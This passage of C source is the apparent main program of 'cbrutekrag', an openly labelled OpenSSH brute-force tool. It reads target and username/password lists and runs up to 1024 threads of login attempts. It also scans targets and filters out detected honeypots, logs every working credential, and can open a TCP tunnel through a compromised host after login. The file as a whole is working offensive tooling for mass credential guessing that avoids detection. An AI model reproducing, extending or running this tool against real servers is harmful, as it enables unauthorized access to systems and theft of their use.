\ 55 | (bool)(optarg = argv[optind++]) : \ 56 | (optarg != NULL)) 57 | 58 | /* Long options for getopt_long */ 59 | static struct option long_options[] = { 60 | { "help", no_argument, NULL, 'h' }, 61 | { "config", required_argument, NULL, 'c' }, 62 | { "verbose", no_argument, NULL, 'v' }, 63 | { "verbose-sshlib", no_argument, NULL, 'V' }, 64 | { "scan", no_argument, NULL, 's' }, 65 | { "dry-run", no_argument, NULL, 'D' }, 66 | { "progress", no_argument, NULL, 'P' }, 67 | { "targets", required_argument, NULL, 'T' }, 68 | { "credentials", required_argument, NULL, 'C' }, 69 | { "threads", required_argument, NULL, 't' }, 70 | { "output", required_argument, NULL, 'o' }, 71 | { "format", required_argument, NULL, 'f' }, 72 | { "scan-output", required_argument, NULL, 'O' }, 73 | { "scan-format", required_argument, NULL, 'F' }, 74 | { "allow-non-openssh", no_argument, NULL, 'a' }, 75 | { "allow-honeypots", no_argument, NULL, 'A' }, 76 | { "timeout", required_argument, NULL, 11 }, 77 | { "check-http", optional_argument, NULL, 13 }, 78 | { NULL, 0, NULL, 0 } 79 | }; 80 | 81 | static void print_banner(void) 82 | { 83 | printf("\033[92m _ _ _\n" 84 | " | | | | | |\n" 85 | "\033[37m ___\033[92m | |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _\n" 86 | "\033[37m / __|\033[92m| '_ \\| '__| | | | __/ _ \\ |/ / '__/ _` |/ _` |\n" 87 | "\033[37m | (__ \033[92m| |_) | | | |_| | || __/ <| | | (_| | (_| |\n" 88 | "\033[37m \\___|\033[92m|_.__/|_| \\__,_|\\__\\___|_|\\_\\_| \\__,_|\\__, |\n" 89 | " \033[0m\033[1mOpenSSH Brute force tool 0.6.0\033[0m\033[92m __/ |\n" 90 | " \033[0m(c) Copyright 2014-2024 Jorge Matricali\033[92m |___/\033[0m\n\n" 91 | " \033[36mhttps://github.com/matricali/cbrutekrag\n" 92 | "\033[0m\n"); 93 | } 94 | 95 | static void usage(const char *p) 96 | { 97 | printf("\nusage: %s [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C credentials.lst]\n" 98 | "\t\t[-t THREADS] [-f OUTPUT FORMAT] [-o OUTPUT.txt] [-F SCAN OUTPUT FORMAT] [-O SCAN_OUTPUT.txt] [TARGETS...]\n\n", 99 | p); 100 | } 101 | 102 | void err_handler(int sig) 103 | { 104 | log_error("Error: signal %d:\n", sig); 105 | 106 | #ifndef _WIN32 107 | void *array[10]; 108 | int size; 109 | 110 | size = backtrace(array, 10); 111 | 112 | backtrace_symbols_fd(array, size, STDERR_FILENO); 113 | #endif 114 | exit(EXIT_FAILURE); 115 | } 116 | 117 | static size_t btkg_get_max_threads(void) 118 | { 119 | #ifndef _WIN32 120 | struct rlimit limit; 121 | 122 | /* Increase the maximum file descriptor number that can be opened by this process. */ 123 | getrlimit(RLIMIT_NOFILE, &limit); 124 | limit.rlim_cur = limit.rlim_max; 125 | setrlimit(RLIMIT_NOFILE, &limit); 126 | 127 | return (limit.rlim_cur > 1024) ? 1024 : limit.rlim_cur - 8; 128 | #else 129 | // TODO: Get real max threads available under Windows 130 | return 1024; 131 | #endif 132 | } 133 | 134 | #ifdef _WIN32 135 | /** 136 | * @brief Sets up the console to support ANSI escape sequences on Windows. 137 | * 138 | * This function enables the ENABLE_VIRTUAL_TERMINAL_PROCESSING mode in the 139 | * Windows console, allowing it to process ANSI escape sequences for colored 140 | * output. If the console handle is invalid or if there is an error while 141 | * getting or setting the console mode, an error message is printed to stderr. 142 | */ 143 | static void btkg_console_setup(void) 144 | { 145 | HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 146 | if (hConsole != INVALID_HANDLE_VALUE) { 147 | DWORD dwMode = 0; 148 | 149 | if (!GetConsoleMode(hConsole, &dwMode)) { 150 | fprintf(stderr, "Error getting console mode: %lu\n", 151 | GetLastError()); 152 | return; 153 | } 154 | 155 | dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING; 156 | 157 | if (!SetConsoleMode(hConsole, dwMode)) { 158 | fprintf(stderr, "Error setting console mode: %lu\n", 159 | GetLastError()); 160 | } 161 | } 162 | } 163 | #endif 164 | 165 | int main(int argc, char **argv) 166 | { 167 | int opt; 168 | int option_index = 0; 169 | char *output_filename = NULL; 170 | char *scan_output_filename = NULL; 171 | int tempint; 172 | pthread_t progress_watcher; 173 | 174 | /* Error handler */ 175 | signal(SIGSEGV, err_handler); 176 | 177 | #ifndef _WIN32 178 | /* Ignore SIGPIPE */ 179 | signal(SIGPIPE, SIG_IGN); 180 | #endif 181 | 182 | #ifdef _WIN32 183 | /* Setup console */ 184 | btkg_console_setup(); 185 | #endif 186 | 187 | /* Initialize context */ 188 | btkg_context_t context; 189 | btkg_context_init(&context); 190 | 191 | /* Calculate maximum number of threads. */ 192 | btkg_options_t *options = &context.options; 193 | options->max_threads = btkg_get_max_threads(); 194 | 195 | btkg_target_list_t *targets = &context.targets; 196 | btkg_credentials_list_t *credentials = &context.credentials; 197 | 198 | while ((opt = getopt_long(argc, argv, "aAT:C:t:o:f:O:F:DsvVPh", 199 | long_options, &option_index)) != -1) { 200 | switch (opt) { 201 | case 'a': 202 | options->non_openssh = 1; 203 | break; 204 | case 'A': 205 | options->allow_honeypots = 1; 206 | break; 207 | case 'v': 208 | options->verbose |= CBRUTEKRAG_VERBOSE_MODE; 209 | log_set_level(options->verbose); 210 | break; 211 | case 'V': 212 | options->verbose |= CBRUTEKRAG_VERBOSE_SSHLIB; 213 | break; 214 | case 'T': 215 | btkg_target_list_load(targets, optarg); 216 | break; 217 | case 'C': 218 | btkg_credentials_list_load(credentials, optarg); 219 | break; 220 | case 't': 221 | tempint = atoi(optarg); 222 | if (tempint < 1) { 223 | log_error("Invalid threads size. (%d)", 224 | tempint); 225 | exit(EXIT_FAILURE); 226 | } 227 | options->max_threads = (size_t)tempint; 228 | break; 229 | case 'f': 230 | options->bruteforce_output_format = strdup(optarg); 231 | btkg_str_replace_escape_sequences( 232 | options->bruteforce_output_format); 233 | break; 234 | case 'o': 235 | output_filename = strdup(optarg); 236 | break; 237 | case 's': 238 | options->perform_scan = 1; 239 | break; 240 | case 'O': 241 | scan_output_filename = strdup(optarg); 242 | break; 243 | case 'F': 244 | options->scanner_output_format = strdup(optarg); 245 | btkg_str_replace_escape_sequences( 246 | options->scanner_output_format); 247 | break; 248 | case 'D': 249 | options->dry_run = 1; 250 | break; 251 | case 'P': 252 | options->progress_bar = 1; 253 | break; 254 | case 11: // --timeout 255 | tempint = atoi(optarg); 256 | if (tempint < 1) { 257 | log_error("Invalid timeout value. (%d)", 258 | tempint); 259 | exit(EXIT_FAILURE); 260 | } 261 | options->timeout = tempint; 262 | break; 263 | case 13: 264 | options->check_http = 265 | strdup((!OPTIONAL_ARGUMENT_IS_PRESENT) ? 266 | "wwww.google.com" : 267 | optarg); 268 | break; 269 | case 'h': 270 | print_banner(); 271 | usage(argv[0]); 272 | printf(" -h, --help This help\n" 273 | " -v, --verbose Verbose mode\n" 274 | " -V, --verbose-sshlib Verbose mode (sshlib)\n" 275 | " -s, --scan Scan mode\n" 276 | " -D, --dry-run Dry run\n" 277 | " -P, --progress Progress bar\n" 278 | " -T, --targets Targets file\n" 279 | " -C, --credentials Username and password file\n" 280 | " -t, --threads Max threads\n" 281 | " -o, --output Output log file\n" 282 | " -F, --format Output log format\n" 283 | " Available placeholders:\n" 284 | " %%DATETIME%%, %%HOSTNAME%%\n" 285 | " %%PORT%%, %%USERNAME%%, %%PASSWORD%%\n" 286 | " -O, --scan-output Output log file for scanner\n" 287 | " -F, --scan-format Output log format for scanner\n" 288 | " Available placeholders:\n" 289 | " %%DATETIME%%, %%HOSTNAME%%\n" 290 | " %%PORT%%, %%BANNER%%.\n" 291 | " Default:\n" 292 | " \"%%HOSTNAME%%:%%PORT%%\\t%%BANNER%%\\n\"\n" 293 | " -a, --allow-non-openssh Accepts non OpenSSH servers\n" 294 | " -A, --allow-honeypots Allow servers detected as honeypots\n" 295 | " --timeout Sets connection timeout (Default: 3)\n" 296 | " --check-http Tries to open a TCP Tunnel after successful login\n"); 297 | exit(EXIT_SUCCESS); 298 | default: 299 | usage(argv[0]); 300 | exit(EXIT_FAILURE); 301 | } 302 | } 303 | print_banner(); 304 | 305 | /* Targets */ 306 | while (optind < argc) { 307 | btkg_target_t *ret = btkg_target_parse(argv[optind]); 308 | 309 | if (ret == NULL) { 310 | log_error( 311 | "WARNING: An error occurred parsing target '%s' on argument #%d", 312 | argv[optind], optind); 313 | continue; 314 | } 315 | 316 | btkg_target_list_append_range(targets, ret->host, ret->port); 317 | free(ret->host); 318 | free(ret); 319 | optind++; 320 | } 321 | 322 | /* Load targets from default path */ 323 | if (targets->targets == NULL) 324 | btkg_target_list_load(targets, "hostnames.txt"); 325 | 326 | /* Load targets from default path */ 327 | if (credentials->credentials == NULL) 328 | btkg_credentials_list_load(credentials, "combos.txt"); 329 | 330 | /* Calculate total attempts */ 331 | context.total = targets->length * credentials->length; 332 | 333 | printf("\nAmount of username/password combinations: %zu\n", 334 | credentials->length); 335 | printf("Number of targets: %zu\n", targets->length); 336 | printf("Total attempts: %zu\n", context.total); 337 | printf("Max threads: %zu\n\n", options->max_threads); 338 | 339 | if (context.total == 0) { 340 | log_error("No work to do."); 341 | exit(EXIT_FAILURE); 342 | } 343 | 344 | if (options->max_threads > targets->length) { 345 | log_info("Decreasing max threads to %zu.", targets->length); 346 | options->max_threads = targets->length; 347 | } 348 | 349 | /* Output Format */ 350 | if (options->bruteforce_output_format == NULL) { 351 | options->bruteforce_output_format = strdup( 352 | "%DATETIME%\t%HOSTNAME%:%PORT%\t%USERNAME%\t%PASSWORD%\n"); 353 | } 354 | 355 | /* Output file */ 356 | if (output_filename != NULL) { 357 | context.output = fopen(output_filename, "a"); 358 | if (context.output == NULL) { 359 | log_error("Error opening output file. (%s)", 360 | output_filename); 361 | exit(EXIT_FAILURE); 362 | } 363 | } 364 | #ifdef _WIN32 365 | /* Initialize WinSock */ 366 | WSADATA wsa_data; 367 | if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0) { 368 | fprintf(stderr, "WSAStartup failed.\n"); 369 | exit(1); 370 | } 371 | #endif 372 | 373 | struct timespec start; 374 | double elapsed; 375 | 376 | /* Port scan and honeypot detection */ 377 | if (options->perform_scan) { 378 | log_info("Starting servers discoverage process..."); 379 | clock_gettime(CLOCK_MONOTONIC, &start); 380 | 381 | context.total = context.targets.length; 382 | context.count = 0; 383 | 384 | /* Scan output file */ 385 | if (scan_output_filename != NULL) { 386 | context.scan_output = fopen(scan_output_filename, "a"); 387 | if (context.scan_output == NULL) { 388 | log_error( 389 | "Error opening scan output file. (%s)", 390 | scan_output_filename); 391 | exit(EXIT_FAILURE); 392 | } 393 | free(scan_output_filename); 394 | 395 | /* Scanner Output Format */ 396 | if (options->scanner_output_format == NULL) { 397 | options->scanner_output_format = 398 | strdup("%HOSTNAME%:%PORT%\t%BANNER%\n"); 399 | } 400 | } 401 | 402 | btkg_progress_watcher_start(&context, &progress_watcher); 403 | 404 | detection_start(&context, targets, targets, 405 | options->max_threads); 406 | 407 | if (context.scan_output != NULL) { 408 | fclose(context.scan_output); 409 | context.scan_output = NULL; 410 | } 411 | 412 | if (options->scanner_output_format != NULL) { 413 | free(options->scanner_output_format); 414 | options->scanner_output_format = NULL; 415 | } 416 | 417 | btkg_progress_watcher_wait(&progress_watcher); 418 | 419 | elapsed = btkg_elapsed_time(&start); 420 | 421 | context.total = targets->length * credentials->length; 422 | 423 | log_info("Detection process took %f seconds.", elapsed); 424 | log_info("Number of targets after filtering: %zu.", 425 | targets->length); 426 | } 427 | 428 | if (targets->length == 0) { 429 | log_info("No work to do."); 430 | goto _finalize; 431 | } 432 | 433 | if (options->max_threads > targets->length) { 434 | log_info("Decreasing max threads to %zu.", targets->length); 435 | options->max_threads = targets->length; 436 | } 437 | 438 | /* Bruteforce */ 439 | log_info("Starting brute-force process..."); 440 | clock_gettime(CLOCK_MONOTONIC, &start); 441 | 442 | btkg_progress_watcher_start(&context, &progress_watcher); 443 | 444 | btkg_bruteforce_start(&context); 445 | 446 | btkg_progress_watcher_wait(&progress_watcher); 447 | 448 | elapsed = btkg_elapsed_time(&start); 449 | 450 | log_info("Brute-force process took %f seconds.", elapsed); 451 | 452 | _finalize: 453 | btkg_context_destroy(&context); 454 | 455 | 456 | return EXIT_SUCCESS; 457 | } 458 | --------------------------------------------------------------------------------